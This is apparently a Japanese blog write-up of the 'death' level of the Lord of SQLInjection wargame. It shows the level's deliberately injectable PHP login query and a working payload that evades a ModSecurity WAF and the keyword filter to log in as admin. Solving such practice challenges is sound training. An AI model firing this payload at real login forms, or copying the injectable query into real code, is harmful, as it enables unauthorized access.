はまやんはまやんはまやん

hamayanhamayan's blog

death [LORD OF SQLINJECTION]

Lord of SQLInjection

<?php
include "./config.php"; 
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[id])) exit("No Hack ~_~"); 
if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[pw])) exit("No Hack ~_~"); 
$query = "select id from prob_death where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"; 
echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
if($result['id'] == 'admin') solve("death");
elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>"; 
highlight_file(__FILE__); 

特徴は以下。

  • id,pwが入力可能
    • prob,_,.,(),adminがフィルタリング
  • 問題文に書いてあるが、ModSecurityによるWAFが導入されている
  • idをadminにする必要がある

さっき使った-1'<@=1 OR {x (select 1)}='1'#をベースに考える。
これは1=1をやってるような感じなので、like文でadminを取ってこれるような感じにしよう。
-1'<@=1 OR {x (select 1)}='1' and id like 'admi%' #でAC